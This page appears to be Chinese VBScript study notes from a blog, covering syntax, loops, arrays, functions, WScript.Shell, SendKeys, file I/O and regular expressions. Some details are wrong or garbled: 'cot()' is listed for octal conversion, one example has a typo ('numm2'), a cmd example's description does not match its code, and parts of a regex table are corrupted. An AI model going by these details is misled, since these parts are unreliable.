      Function过程的调用方法和sub过程的调用方法相同。当Function过程没有返回值的时候可以使用call来调用过程;当Function过程有返回值时,使用过程名来调用过程

      例如:定义Function过程限制标题显示的长度

     1 <%@LANGUAGE="VBSCRIPT" CODEPAGE="936"%>
     2 <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
     3 <html xmlns="http://www.w3.org/1999/xhtml">
     4 <head>
     5 <meta http-equiv="Content-Type" content="text/html; charset=gb2312" />
     6 <title>function</title>
     7 </head>
     8 <body>
     9     <%
    10         function title__(tit)
    11             if(len(tit)>20) then
    12                 title__=left(tit,20)&"..."
    13             else
    14                 title__=tit
    15             end if
    16         end function
    17         dim str 
    18         str = "春之颂 大型电影交响音乐会将于2018年4月18日19:30 在国家大剧院盛装上演"
    19         response.Write "原标题名称为:"&str&"<br>"
    20         response.Write "修正后的标题为:"&title__(str) 
    21     %> 
    22 </body>
    23 </html>
    View Code

     

    转载于:https://www.cnblogs.com/dzj0712/p/8728497.html

    展开全文
  • VBScript脚本的使用例子、方法:有VBScript的使用例子和方法简介简单和实用的介绍了VBScript。
  • VBSCRIPT 脚本帮助

    2008-09-06 10:44:24
    VBSCRIPT 脚本帮助 学习网页制作必备工具。
  •  本课程主要分享VBScript脚本语言编程与自动化运维操作学习教程! 2、课程目标  本课程致力于帮助学员学习并掌握VBScript脚本语言编程及自动化运维技巧! 3、适合人员  本课程适合兴趣VBS编程或从事...
  • VBScript脚本语言基础

    2020-06-30 09:49:07
    VBScript脚本语言基础 2.1 vbs脚本语言简介 2.2 第一个vbs脚本语言–hello world 打开记事本程序,在编辑窗口填写,保存文件的扩展名为:.vbs 对话框: 输入框 inputbox(“请输入第一 条边的边长”,“第一 条边”)...

    VBScript脚本语言基础

    2.1 vbs脚本语言简介

    2.2 第一个vbs脚本语言–hello world

    打开记事本程序,在编辑窗口填写,保存文件的扩展名为:.vbs

    对话框:

    1. 输入框

      inputbox(“请输入第一 条边的边长”,“第一 条边”)

    在这里插入图片描述
    2. 输出框

    ​ msgbox("输入错误! ")

    可能遇到错误:

    1:

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-UiQqSPEW-1593481135912)(https://raw.githubusercontent.com/bakabakabeng/PicGoStore/master/img/image-20200621093617006-1592807313749.png)]

    解决方法:把vbs另存为ANSI编码

    2:调用过程函数时不能使用括号,即:inputbox “请输入第一条边的边长”,“第一条边”(因为此时没有赋值,直接使用该函数,此时该函数为过程函数)但如果该函数只有一个参数,直接使用过程函数时加括号也可以,如:msgbox(“Hello World!”);但这样就不行,如:msgbox(“Hello World!”,“hh”)

    3:申明变量时,不能直接赋值,只能后赋值,如:dim a:a=msgbox(“Hello World!”,“标题”)

    输出框—msgbox()函数:

    msgbox语法:msgbox"对话框内容",,“对话框的标题”

    参数:如果用第三个参数,第二个参数就不能省略

    ​ 第二个参数:数值表达式,是表示指定显示按钮的数目和类型、使用的图标样式,如果省略,则 buttons 的默认值为 0。

    msgbox "Hello World!"
    msgbox"Hello World!"
    msgbox c
    msgbox("Hello World!")
    msgbox ("Hello World!")
    以上几种表达方式都可以
    

    输入框一inputbox()函数:

    inputbox语法格式:

    inputbox(“对话框内容”,“对话框标题”)

    inputbox()函数的返回值是字符串。

    变量:

    1. VBScript语言大小写不敏感

    2. 变量命名规则:

    ​ 第一个字符必须是字母。

    ​ 不能包含嵌入的句点。

    ​ 长度不能超过255个字符。

    1. 在VBScript中只有一个基本数据类型Variant

    2. 所有变量的数据类型都是Variant.

    3. 声明变量的一种方式是使用Dim

    4. 声明多个变量时,使用逗号分隔变量。

    ​ dim a,b,c

    注释:

    • 所有单引号后面的内容都被解释为注释
    • Rem后面的内容都被解释为注释

    冒号:分隔语句

    VBScript中允许在一行代码内同时有几条语句,但是每条语句之间用冒号:分隔。

    dim s,a,b
    a=2:b=3
    s=a+b
    msgbox s
    

    VBScript在定义时只有一-种变量类型,在实际使用中,有时系统会自动识别需要使用的类型,并将其自动转换成相应的变量类型。

    2.3 算术运算

    常量:

    重复使用同一个值,可设为常量,声明为const

    const pi=3.1415926
    

    算术运算:

    1. 加+ 减- 乘* 除/ 商取整\ 模(取余数)mod

    2. 幂运算符:^ 5^2即5的平方

    3. 其他函数:

      int()取整数(不会四舍五入),sqr()开平方根,abs()绝对值,hex()转换为十六进制

      cot()转换为八进制

    连接运算符:

    & +

    2.4 条件语句与逻辑运算

    布尔类型:

    dim a,b
    a=true
    b=false
    ps:"true"是字符串,true是布尔值
    

    逻辑运算符:

    1. 等于= 不等于<> 大于> 小于< 大于等于>= 小于等于<=
    2. 或or 与and 非not

    if then条件语句:

    定义:

    if(条件) then
    执行语句
    end if
    
    dim a
    a=inputbox("请输入一个大于100的数")
    a=int(a)
    if a>100 then
        msgbox("正确")
    end if
    if a<100 then
        msgbox("错误")
    end if
    

    if then else条件语句:

    定义:

    if(条件) then
    执行语句1
    else
    执行语句2
    end if
    
    if a>100 then
        msgbox("正确")
    else
        msgbox("错误")
    end if
    

    条件语句结合逻辑运算:

    if a>10 and b>20 then
    .....
    end if
    

    多重条件语句:

    定义:

    if(条件1) then
    执行语句1
    else if(条件2) then
    执行语句2
    ....
    else
    执行语句n
    end if
    end if
    
    dim a
    a=inputbox("请输入一个大于100 的数")
    a=int(a)
    if a>100 then .
    msgbox("正确")
    else if a=100 then
    msgbox("老大,你耍我?") else
    msgbox("错误")
    end if
    end if
    

    易错点:

    dim a,b,c,d
    a=inputbox()
    b=inputbox()
    c=inputbox()
    d=a*2+b*2    '此时d为数值类型,而c为字符型,所以一直c<>d
    if c=d then
        msgbox "f"
    else
        msgbox "d"
    end if
    

    select case多重条件语句:(不用加break)

    dim a
    a=inputbox("输入一个1-3的值")
    a=int(a)
    select case a
    case 1
    msgbox "壹"
    case 2
    msgbox "贰"
    case 3
    msgbox "叁"
    case else
    msgbox "输入错误" 
    end select
    
    

    其他:

    • 类型转换:

    cbyte()转换成字节型、cint()转换成整型、clng()转换成长整型

    cstr()转换成字符串

    cdbl()转换成双精度浮点数、csng()转换成单精度浮点数

    • 时间相关函数:

    date()、time()、 now()

    带参数的year()、month()、 day()、 hour()、 second()

    • 字符串相关函数:

    len()、ucase()、 lcase()、 replace()

    instr()查找指定字符串,split()拆分字符串,mid()截取字符串

    3.1 循环语句-do loop

    定义:

    do
    执行语句
    loop
    
    dim sum
    sum=0
    do
        sum=sum+int(inputbox("请输入交易额"))
    loop   '缺少循环终止条件,死循环,只能用ctrl+shift+esc启动任务管理器来结束该进程
    msgbox sum
    此时需要引入exit do,终止循环
    

    ex:

    密码验证–exit do:

    dim a
    const pass="123456"
    do
        a=inputbox("请输入密码")
        if a=pass then
            msgbox("密码校验成功")
            exit do
        end if
    loop      
    

    密码安全验证(一)–do loop:

    dim a,ctr
    ctr=0
    const pass="pass123_"
    do
        if ctr=3 then
            msgbox("已经达到认证上限。")
            exit do
        else
                a=inputbox("请输入密码:")
                if a=pass then
                    msgbox("认证成功,欢迎!!")
                    exit do
                else
                        ctr=ctr+1
                        msgbox("认证出错,请检查密码。")
                end if
         end if
    loop                            
    

    密码安全验证(二)–do while loop

    dim a,ctr
    ctr=0
    const pass="pass123_"
    do while ctr<3
        a=inputbox("请输入密码:")
        if a=pass then
            msgbox("认证成功,欢迎!")
            exit do
        else
                ctr=ctr+1
                msgbox("认证出错,请检查密码。")
        end if
    loop         
    

    密码安全验证(二)–do loop while

    dim a,ctr
    ctr=0
    const pass="pass123_"
    do 
        a=inputbox("请输入密码:")
        if a=pass then
            msgbox("认证成功,欢迎!")
            exit do
        else
                ctr=ctr+1
                msgbox("认证出错,请检查密码。")
        end if
    loop while ctr<3
    

    3.2 循环语句-while wend

    定义:

    while(条件) '当条件为true时循环
    执行语句
    wend
    
    dim countter
    counter=0
    while counter<5
        msgbox counter
        counter=counter+1
    wend
    

    密码安全验证–while wend

    dim a,ctr
    ctr=0
    const pass="pass123_"
    while ctr<3
        a=inputbox("请输入密码:")
        if a=pass then
            msgbox("认证成功,欢迎!")
            ctr=3
        else
                ctr=ctr+1
                msgbox("认证出错,请检查密码。")
        end if
    wend
    

    3.3 循环语句-for next

    定义:

    当使用循环逐一递增(或递减)时,可采用for next

    for 循环变量=初值 to 终值 step 步长
    循环体1
    exit for '退出循环
    循环体2
    next
    
    dim counter
    counter=0
    for counter=0 to 5 step 1 '不写的默认情况下step为1
        msgbox counter
    next
    

    密码安全验证–for next:

    dim a,ctr
    ctr=0
    const pass="pass123_"
    for ctr=0 to 2
        a=inputbox("请输入密码:")
        if a=pass then
            msgbox("认证成功,欢迎!")
            exit for
        else
            msgbox ctr   '一次循环结束后就加一
            msgbox("认证出错,请检查密码。")
        end if
    next
    

    3.4 一维数组

    定义:

    dim name(9) ps:下表从0开始,定义了10个数组元素

    dim a(9)
    for i=0 to 9
        a(i)=i
        msgbox(a(i))
    next
    

    array函数:

    dim arr
    arr=array("t1","t2","t3")
    msgbox arr(0)
    msgbox arr(1)
    msgbox arr(2)
    

    lbound函数和ubound函数:

    lbound函数为取最小下标,ubound函数为取最大下标

    dim arr
    arr=array("t1","t2","t3")
    for i=0 to ubound(arr)-lbound(arr)
        msgbox arr(i)
    next
    

    join函数:

    将数组变为字符串

    dim arr
    arr=array("t1","t2","t3")
    msgbox join(arr,",")
    

    split函数:

    将字符串变为数组

    dim arr,str
    str="t1,t2,t3"
    arr=split(str,",")
    msgbox arr(0)
    msgbox arr(1)
    msgbox arr(2)
    

    ex:

    一维数组—保存学生姓名:

    dim name(5),str  '共6个学生,str存放所有学生的名字
    for i=0 to 5
         name(i)=inputbox("请输入第"&i+1&"个学生的名字")
         str=str&" "&name(i)
    next
    msgbox str
    

    三个一维数组—存放学生信息:

    dim name(2),age(2),score(2),ctr,cname
    for ctr=0 to 2
         name(ctr)=inputbox("请输入第"&ctr+1&"个学生的名字")
         age(ctr)=inputbox("请输入第"&ctr+1&"个学生的年龄")
         score(ctr)=inputbox("请输入第"&ctr+1&"个学生的成绩")
    next
    msgbox name(0)
    msgbox age(1)
    msgbox score(2)
    

    查询指定学生的所有信息:

    cname=inputbox("请输入你要查询的名字:")
    for ctr=0 to 2
         if name(ctr)=cname then
               exit for
         end if
    next
    msgbox("姓名:"&name(ctr)&" "&"年龄:"&age(ctr)&" "&"成绩:"&score(ctr))
    

    3.5 循环语句-for each next

    定义:

    for each 成员 in 数组或集合

    ​ 循环体

    next

    dim a(9),v
    for i=0 to 9
        a(i)=i
    next
    法一:
    for each v in a   
        msgbox v  
    next
    法二:
    for i=0 to 9
        msgbox a(i)
    next
    

    乘法口诀–循环嵌套:

    dim i,j,str
    for i=1 to 9
        for j=1 to 9
            str=str&i*j&" "
        next
        str=str&vbCrlf  'vbCrlf代表回车和换行
        msgbox str
    next
    

    3.6 二维数组

    定义:

    dim a(3,2) ps:下标从0开始,定义了4*3=12个数组元素

    dim a(3,2),i,j,str
    for i=0 to 3
        for j=0 to 2
            a(i,j)="x"&j
        next
    next
    for i=0 to 3
        for j=0 to 2
            str=str&a(i,j)&" "
        next
        str=str&vbcrlf
        msgbox str
    next
    

    ex:

    二维数组–存放学生信息:

    dim student(3,2),i,j,ctr,cname,opt
    for i=0 to 3
          for j=0 to 2
               select case j
                    case 0
                         opt="name"
                    case 1
                         opt="age"
                    case 2
                         opt="score"
               end select
               student(i,j)=inputbox("请依次输入第"&i+1&"个学生的"&opt)
          next
    next
    cname=inputbox("请输入你要查询的名字:")
    for ctr=0 to 3
          if student(ctr,0)=cname then
              exit for
          end if
    next
    msgbox("姓名:"&student(ctr,0)&" "&"年龄:"&student(ctr,1)&" "&"成绩:"&student(ctr,2))
    
    

    ps: 使用select ······end select语句来更加清晰表示字段名

    3.7 函数

    定义的函数和过程位置没有限制,放在调用前或后都可以

    定义:

    function 函数名称(参数列表)

    ​ 函数代码

    ​ 函数名称=某值 ’用来返回值

    end function

    无参函数的定义:

    function func()
      msgbox "hello world!"
    end function
    

    函数的调用:

    call 函数名(参数列表)

    call func

    call func() '直接调用,必须用call语句调用

    func ’原则上函数不能直接使用

    func()

    带参函数的定义:

    dim name
    function func(name)
        msgbox "hello "&name
    end function
    

    带参函数的调用:

    call func("张三 ") ‘直接使用,必须用call语句调用

    func “李四” ’原则上函数不能直接使用

    func(“王五”)

    自定义函数—两数求和:

    function add(num1,num2)
        dim num
        num=num1+num2
        msgbox num
    end function
    call add(1,2)
    add 1,2
    

    ps:使用call时,一定要带 ()但无参时也可以不带()

    ​ 不使用call时,不要带(),但没有参数或只有一个参数时,可以带()

    函数返回值:

    function add(num1,num2)
        add=num1+numm2      ‘用来返回值
    end function
    msgbox add(1,2)
    

    3.8 过程

    不管是过程还是函数都称为过程

    区别:过程没有返回值,不能放在表达式中

    过程的定义:

    sub 过程名称(参数列表)

    ​ 过程代码

    end sub

    无参过程的定义:

    sub func()
        msgbox "hello world!"
    end sub
    

    过程的调用:

    call 过程名(参数列表)

    call func

    call func()

    func

    func()

    带参过程的定义:

    dim name
    sub func(name)
        msgbox "helllo "&name
    end sub
    

    带参过程的调用:

    call func("张三 ")

    func “李四”

    func(“王五”)

    自定义过程—两数求和:

    sub add(num1,num2)
        dim num
        num=num1+num2
        msgbox num
    end sub
    call add(1,2)
    add 1,2     ’此时不要带括号
    

    ps:使用call时,一定要带 ()

    ​ 不使用call时,不要带(),但没有参数或只有一个参数时,可以带()

    3.9 过程与函数

    总结:

    1. 函数有返回值,过程无返回值

      过程:

    sub total(x,y)
    sum=x+y
    msgbox “二数之和是”&sum
    end sub
    total 30,20

    
    函数:
    
    ```vbscript
    dim a,b
    function exp()
     b=3
        exp=b+1
    end function
    msgbox exp()+1
    
    1. 函数可以放在表达式中,过程不可以

      msgbox exp*2+3 ‘也正确

      此时的exp()可以不写(),因为无参

    2. 函数返回值被接收时,不可使用call且一定要带()

      str =call exp() ‘语法错误

    3. 不使用call时,不要带(),没有参数或只有一个参数时,可以带()

    4. function只能出现在赋值语句的右边,或者表达式中,不能直接使用,如直接使用函数,则必须使用call语句调用,并取消返回值

    3.10 vbs运行外部程序

    CreateObject

    • VBS也提供了一些内部函数和对象,但是VBS没有提供任何命令来访问Windows系统内部的部件。

    • 它提供了一条极为方便、功能也相当强的命令-CreateObject。

    • CreateObject命令可以访问windows系统内安装的所有com对象,并且可以调用这些部件中存放的命令。

    Windows脚本宿主的常用对象

    ●WSH(Windows Scripting Host)也就是用来解析VBS的宿主。WSH可以利用脚本来实现计算机工作的自动化;但也使得系统有了安全隐患。

    ●WSH包含了几个常用对象:

    1、Scripting.FileSystemObject- -> 提供一整套文件系统操作函数

    2、Scripting.Dictionary- -> 用来返回存放键值对的字典对象

    3、Wscript.Shell- > 提供一 套读取系统信息的函数,如读写注册表、查找指定文件的路径、读取DOS环境变量,读取链接中的设置

    4、Wscript.NetWork 一-> 提供网络连接和远程打印机管理的

    函数。(其中, 所有Scripting对象都存放在SCRRUN.DLL文件中,所有的Wscript对象都存放在WSHOM.ocx文件中。)

    CreateObject

    Dim objShell
    Set objShell = CreateObject("Wscript. Shell")
    objShell.Run "notepad"
    

    ●Set是vbs指令,凡是将- -对象引用赋给变量,就需要使用set关键字。

    ●vbs的对象,其本身内置有函数和变量,其引用方法为在变量后加“.”,后紧跟其实现功能的函数。

    ●objshell.run的意思就是调用Wscript.shell中的运行外部程序的函数-——run。notepad 是记事本程序的文件名,也可以改成计算器文件名“calc",word 文件名winword

    两个程序同时启动

    Dim objShell
    Set objShell = CreateObject("Wscript. Shell")
    objShell.Run "notepad"
    objShell.Run "calc"
    

    两个程序顺序启动

    Dim objShell
    Set objShell = CreateObject("Wscript.Shell")
    objShell.Run "notepad", ,true
    objShell.Run "calc"
    '此时要等记事本关闭后,才打开计算器
    

    run函数有三个参数:

    • 第一个参数是你要执行的程序的路径。
    • 第二个参数是窗口的形式。0是在后台运行; 1 表示正常运行;2表示激活程序并且显示为最小化; 3 表示激活程序并且显示为最大化。默认为1
    • 第三个参数是表示这个脚本是等待还是继续执行,如果设为了true,脚本就会等待调用的程序退出后再向后执行。默认为false
    • run函数有返回值,如果返回为0表示成功执行,如果不为0则这个返回值就是错误代码,可以通过这个代码找出相应的错误。

    3.11 错误处理

    On Error Resume Next

    • 这行语句可以告诉VBS在运行时跳过发生错误的语句,紧接着执行跟在它后面的语句。
    • 发生错误时,该语句将会把相关错误号,错误描述和相关源代码压入错误堆栈。
    • 虽然On Error Resume Next语句可以防止vbs脚本在发生错误时停止运行,但是它并不能真正处理错误。

    err对象

    • vbscript 提供了一个对象err对象
    • 有二个方法:clear,raise
    • 5个属性:description,helpcontext,helpfile,number,source
    • err对象不用引用实例,可以直接使用

    示例:

    on error resume next
    dim a,b,c
    a=5
    b=0
    c=a/b
    msgbox "hi!"
    if err.number<>0 then
             wscript.echo err.number&"--"&err.description&"--"&err.source
    end if
    

    wscript.echo与msgbox作用差不多

    3.12 文件操作

    vbs对文件的读写操作

    1、打开文件

    • 使用opentextfile方法

      set fs =createobject("scripting.filesystemobject")
      set ts=fs.opentextfile(“d:\1.txt",1,true)
      
    • 注意这里需要填入文件的完整路径,后面一个参数为访问模式;也可不输入路径,则打开当前目录下文件

    • 1为forreading

    • 2为forwriting

    • 8为appending

    • 第三个参数指定如果指定文件不存在,是否创建。

    2、读取文件

    读取文件的方法有三个:

    read(x)读取x个字符

    readline读取一行

    readall全部读取

    例如:

    set fs =createobject("scripting.filesystemobject")
    set ts=fs.opentextfile(“d:\1.txt",1,true)
    value=ts.read(20)
    line=ts.readline
    contents=ts.readall
    

    textstream对象的atendofstream属性。当处于文件结尾的时候这个属性返回true.我们可以用循环检测又没有到达文件末尾。例如:

    set fs =createobject("scripting.filesystemobject")
    set t=fs.opentextfile("d:\3.txt",1,false)
    do while t.atendofstream<>true
        str=str&t.read(1)
    loop
    msgbox str
    t.close
    
    • skip(x) 跳过x个字符
    • skipline 跳过一行

    3、写文件

    可以用forwriting和forappending方式来写

    写有3种方法:

    1. write(x) ,该方法输出不换行,需要使用chr(13)回车符,chr(10)换行符,vbcrlf回车换行(当chr(13)和chr(10)单独使用时分别为回车符,换行符;但如果不一起使用则都为回车换行符)
    2. writeline ,该方法自动换行(会自动空一行)
    3. writeblanklines(n) 写入n个空行

    示例:

    '写文件
    data="hello, I like script programing"+vbcrlf
    set fs =createobject("scripting.filesystemobject")
    if (fs.fileexists("d:\4.txt")) then
        set f =fs.opentextfile("d:\4.txt",8)
        f.write data
        f.writeline data
        f.close
    else
        set f=fs.opentextfile("d:\4.txt",8, true)
        f.writeblanklines 2
        f.write data
        f.close
    end if
    
    '读写操作
    '写:
    dim fs,f,t,str
    set fs =createobject("scripting.filesystemobject")
    set f=fs.createtextfile("d:\test.txt")
    f.write("hello world!")
    f.close
    '读:
    set t=fs.opentextfile("d:\test.txt",1,false)
    do while t.atendofstream<>true
        str=str&t.read(1)
    loop
    t.close
    msgbox str
    

    3.13 shell操作

    1、打开记事本

    下面的 vbscript 代码用记事本打开当前运行脚本的副本。

    set wshshell = wscript.createobject("wscript.shell")
    wshshell.run "%windir%\notepad "
    

    这里%windir%,或者%systemroot%代表的是路径C:\windows

    2、执行CMD命令

    下面的 vbscript 代码打开一个命令窗口,将路径改为 c:\,并执行 dir 命令。

    dim oshell
    set oshell = wscript.createobject ("wscript.shell")
    oshell.run "cmd /k " 
    

    模拟键盘输入:

    3,基本键盘输入

    dim wshshell
    set wshshell = CreateObject("WScript.Shell")
    wshshell.run"notepad"
    wscript.Sleep 3000  '延时3秒
    wshshell.SendKeys " {Enter}" '模拟输入回车
    wshshell.SendKeys "hello"   '模拟输入hello
    

    4,特殊键盘输入

    对于需要与shift,ctrl,alt三个控制键组合的按键,sendkeys使用特殊字符来表示:

    —shift +

    —ctrl ^

    —alt %

    同时按下ctrl+E

    —wshshell.sendkeys"^e"

    按住ctrl键的同时按下e和c两个键

    —wshshell.sendkeys"^(ec)"

    同时按住ctrl和e键,然后松开ctrl键,单独按下c字母键

    —wshshell.sendkeys"^ec"

    5,特殊的控制按键

    特殊的控制按键,只要大括号括住这些字符即可。

    发送加号“+”:

    —wshshell.sendkeys"{+}"

    发送回车键:

    —wshshell.sendkeys"{enter}"

    发送向下的方向键:

    —wshshell.sendkeys"{down}"

    6,重复输入字母:

    格式为:{按键 数字}

    发送10个字母“x”

    —wshshell.sendkeys"{x 10}"

    正则表达式

    4.1 正则表达式简介

    正则表达式是什么

    正则表达式最早是由数学家Stephen Kleene于1956年提出,现在的标准已经被ISO批准和被Open Group组织认定

    正则表达式是使用单个字符串来描述匹配一系列符合某个句法规则的字符串。

    正则表达式由一些普通字符和一些具有特殊含义的元字符组成。

    正则表达式做什么

    查找/替换

    验证数据格式

    验证数据有效性

    数据分析

    ……

    应用场景

    •可快速过滤、替换某些特定的字符串

    –搜索文本

    –网络爬虫

    –用户输入合法性验证

    –批量文本处理

    •搜索字符的3种方式:

    –精确搜索、通配符搜索、正则表达式搜索

    正则表达式怎么做

    •正则表达式过程

    一次拿出表达式和文本中的字符比较,如果每一个字符都能匹配,则匹配成功,否则失败。

    •学习正则表达式,原则上就是学习各种元字符。

    •写正则表达式不难,但是可读性差。

    4.2 正则表达式基础

    元字符

    •通配符

    •限定符

    •定位符

    •表示范围和选择的元字符

    •转义符

    •非捕获元字符

    ……

    通配符

    字符 描述
    . 匹配任意单个字符,匹配除换行符号外的任意字符
    \d 匹配任意数字
    \w 匹配可成词的字符,匹配字母、数字、下划线
    \x 匹配任意十六进制数字
    \s 匹配任意空白字符
    •.
    
    –匹配除” \n”之外的任何单个字符。要匹配包括” \n”在内的任何字符,使用”(.|\n)”。
    
    •\d
    
    –匹配一个数字字符。等价于[0-9]。
    
    •\w
    
    –匹配包括下划线的任何单词字符。等价于”[A-Za-z0-9_]”。
    
    •\s
    
    –匹配任何空白字符,包括空格、制表符、换页符等等。等价于[ \f\n\r\t\v]。
    
    •\D
    
    –匹配一个非数字字符。等价于[^0-9]。
    
    •\W
    
    –匹配任何非单词字符。等价于” [^A-Za-z0-9_]”。
    
    •\S
    
    –匹配任何非空白字符。等价于[^\f\n\r\t\v]。
    

    限定符

    字符 描述
    * 匹配前面的子表达式零次或多次,等价于{0,}
    + 匹配前面的子表达式一次或多次,等价于{1,}
    ? 匹配前面的子表达式零次或一次,等价于{0,1}
    {n} 匹配确定的 n 次(n非负整数)
    {n,} 至少匹配n 次(n非负整数)
    {n,m} 最少匹配 n 次且最多匹配 m 次(n,m非负整数且n<=m)

    字符重复

    •*
    
    –zo*能匹配”z”以及”zoo”。*等价于{0,}。
    
    •+
    
    –“zo+”能匹配”zo”以及”zoo”,但不能匹配”z”。+等价于{1,}。
    
    •?
    
    –“do(es)?”可以匹配”does”或”does”中的”do”。?等价于{0,1}。
    
    •{n}
    
    –“o{2}”不能匹配”Bob”中的“o”,但是能匹配”food”中的两个o。
    
    •{n,}
    
    –“o{2,}”不能匹配”Bob”中的”o”,但能匹配”foooood”中的所有o。”o{1,}”等价于”o+”。”o{0,}”则等价于”o*”。
    
    •{n,m}
    
    –“o{1,3}”将匹配”fooooood”中的前三个o。”o{0,1}”等价于”o?” 。请注意在逗号和两个数之间不能有空格。
    

    定位符

    元字符 描述
    ^ 匹配字符串的开始,或排除
    $ 匹配字符串的结束
    \b 匹配字符串的边界,匹配单词的开始或结束
    \B 匹配字符串的非边界

    •定位符不能使用限定符

    字符转义

    •\
    
    •将下一个字符标记为一个特殊字符、或一个原义字符、或一个向后引用、或一个八进制转义符。
    
    •“\n”匹配一个换行符
    
    •\+表示匹配+
    
    •\* 匹配*
    
    •“\\”匹配“\”
    
    •“\(”则匹配“ (”
    
    www.zjei.net和www\.zjei\.net
    

    范围、选择

    元字符 描述
    . 匹配任意单个字符
    [] 匹配中括号中的任何一个字符,若要不匹配中括号内的字符,则在[后面加上^表示排除
    - 指明范围
    |

    非打印字符

    字符 描述
    \cx 匹配由x指明的控制字符。例如, \cM 匹配一个 Control-M 或回车符。x 的值必须为 A-Z 或 a-z 之一。否则,将 c 视为一个原义的 ‘c’ 字符。
    \f 匹配一个换页符。等价于 \x0c 和 \cL
    \n 匹配一个换行符。等价于 \x0a 和 \cJ。
    \r 匹配一个回车符。等价于 \x0d 和 \cM。
    \s 匹配任何空白字符,包括空格、制表符、换页符等等。等价于 [\f\n\r\t\v]。
    \S 匹配任何非空白字符。等价于 1
    \t 匹配一个制表符。等价于 \x09 和 \cI。
    \v 匹配一个垂直制表符。等价于 \x0b 和 \cK。

    如何构造正则表达式

    构造正则表达式的方法和创建数学表达式的方法一样。也就是用多种元字符与操作符将小的表达式结合在一起来创建更大的表达式。正则表达式的组件可以是单个字符、字符集合、字符范围、字符间的选择或者所有这些组件的任意组合。

    优先级

    优先级(从上往下依次降低) 元字符 描述
    1 \ 转义符
    2 (), (?😃, (?=), [] 子表达式和限定条件
    3 *, +, ?, {n}, {n,}, {n,m} 限定符
    4 ^, $, \metacharacter 位置和顺序
    5 |

    示例

    ^[0-9]*[1-9][0-9]*$  //匹配正整数 
    ^((-\d+)|(0+))$  //匹配非正整数
    ^-?\d+$    //匹配整数 
    ^(-?\d+)(\.\d+)?$  //匹配浮点数
    ^[A-Za-z]+$  //匹配由26个英文字母组成的字符串
    [\u4e00-\u9fa5]	//匹配中文字符
    [a-zA-Z0-9_]+@[1-9a-z]+(\.[a-z]{2,5})+ //email
    1[358][0-9]{9}或者1[358]\d{9}  //电话号码
    

    字符类运算符的优先级

    如下所示,按从最高到最低的顺序排列: 
    1     字面值转义     \x 
    2     分组 [...] 
    3     范围 a-z 
    4     并集 [a-e][i-u] 
    5     交集 [a-z&&[aeiou]]
    

    示例

    [abc] a、b 或 c
    [^abc] 任何字符,除了 a、b 或 c(否定) 
    [a-zA-Z] a 到 z 或 A 到 Z,两头的字母包括在内 
    [a-d[m-p]] a 到 d 或 m 到 p:[a-dm-p](并集) 
    [a-z&&[def]] d、e 或 f(交集) 
    [a-z&&[^bc]] a 到 z,除了 b 和 c:[ad-z](减去) 
    [a-z&&[^m-p]] a 到 z,而非 m 到 p:[a-lq-z](减去)  
    

    4.3 VBS正则表达式

    RegExp对象

    •在VBS中,使用RegExp对象来支持正则表达式的使用。

    •RegExp对象提供了3个属性和3个方法:

    •属性:Pattern、Global、IgnoreCase

    •方法:Test、Replace、Execute

    RegExp 对象的创建

    •set re = new regexp

    •Set regex = CreateObject(“VBScript.RegExp”)

    RegExp 对象的属性

    •Pattern:

    •该属性用于描述正则表达式的匹配模式,如用“+”来匹配前面的表达式一次或多次,用“.”来匹配除换行符\n以外的任何单字符。

    •Global:

    •该属性用于设置搜索过程中是仅匹配第一个还是全部匹配,=True时为全部匹配,False时则仅匹配一个。

    •IgnoreCase:

    •该属性用于设置匹配字符串时是否区分大小写,=True时不区分,=False时区分大小写。

    RegExp 对象的方法

    •Test(string)

    •该方法用于对指定的字符串string执行一个正则表达式的搜索,返回一个布尔值,表示是否找到匹配的模式。

    •Replace(string1,string2)

    •该方法用于string2替换在string1中执行正则表达式查找到的文本。返回值为替换后的字符串。

    •Execute(string)

    •该方法用于对指定的字符串string执行正则表达式的搜索,该方法返回一个matches的集合,其中包含了在制定的字符串中找到的每一个匹配项。

    Dim re, str
    Set re = New RegExp	
    		'等价于CreateObject("VBScript.RegExp")
    re.Pattern = "[23456789]"	'等价于"[2-9]"
    str = "Spain received 3 millimeters of rain last week."
    MsgBox re.Test(str)
    MsgBox re.Replace(str, "many")
    
    Dim re, str
    Set re = New RegExp
    re.Pattern = "\d"		'改成"\d+"看看有什么不同
    str = "a b c d e f 1 g 2 h ... 10 z"
    MsgBox re.Test(str)
    MsgBox re.Replace(str, "number")
    
    

    Matches 对象

    •Matches 对象是一个集合,它包含若干独立的 Match 对象。

    •只能使用 RegExp对象的 Execute 方法来创建。

    •Matches对象提供了2个属性:

    属性:Count、Item

    Matches 对象的属性

    •Count:

    该属性用于描述匹配对象的总数。

    •Item(i):

    该属性用于返回Matches对象中第i+1个的Match对象。

    Dim re, s, mtchs
    Set re = New RegExp
    re.Global = True
    re.Pattern = "\w+"
    s = "苹果:iphone_5s;诺基亚:Nokia_1020"
    
    Set mtchs = re.Execute(s)
    
    msgbox mtchs.count
    For i=0 to mtchs.count-1
        msgbox mtchs.item(i)
    Next
    

    Match 对象

    •在执行正则表达式时,可能产生零个或多个 Match 对象。

    •每个 Match 对象都提供了与正则表达式匹配的字符串的访问入口、字符串的长度,以及标识匹配位置的索引。

    •Match对象提供了3个属性:

    属性:FirstIndex 、 Length 、 Value

    Match 对象的属性

    •FirstIndex :

    返回在搜索字符串中匹配的位置。使用从零起算的偏移量,该偏移量是相对于搜索字符串的起始位置而言的。

    •Length:

    返回在字符串搜索中找到的匹配的长度。

    •Value:

    该属性用于返回在一个搜索字符串中找到的匹配的值或文本。

    Dim re, s, mtch
    Set re = New RegExp
    re.Global = True
    re.Pattern = "\w+"
    s = "苹果:iphone_5s;诺基亚:Nokia_1020"
    
    Set colMatches = re.Execute(s)
    
    msgbox colMatches.count
    For each mtch in colMatches
        msgbox mtch.value
        msgbox mtch.firstindex
        msgbox mtch.length
    Next
    

    4.4 正则表达式高级应用

    贪婪与非贪婪匹配(1)

    •贪婪与非贪婪首先都要尽可能匹配

    •贪婪:尽可能多的匹配

    字符串 表达式 匹配结果 说明
    abcabca (a)(\w+) abcabca 其中的(\w+)会匹配a后的所有字符,即bcabca
    abcabca (a)(\w+)(a) abcabca 其中的(\w+)虽然也能匹配第一个a后的所有字符,但为了让后面的(a)匹配, (\w+)将匹配第一个a和最后一个a之间的所有字符,即bcabc,而让出最后一个a
    Dim re, str, mtch
    Set re = New RegExp
    re.Global = True
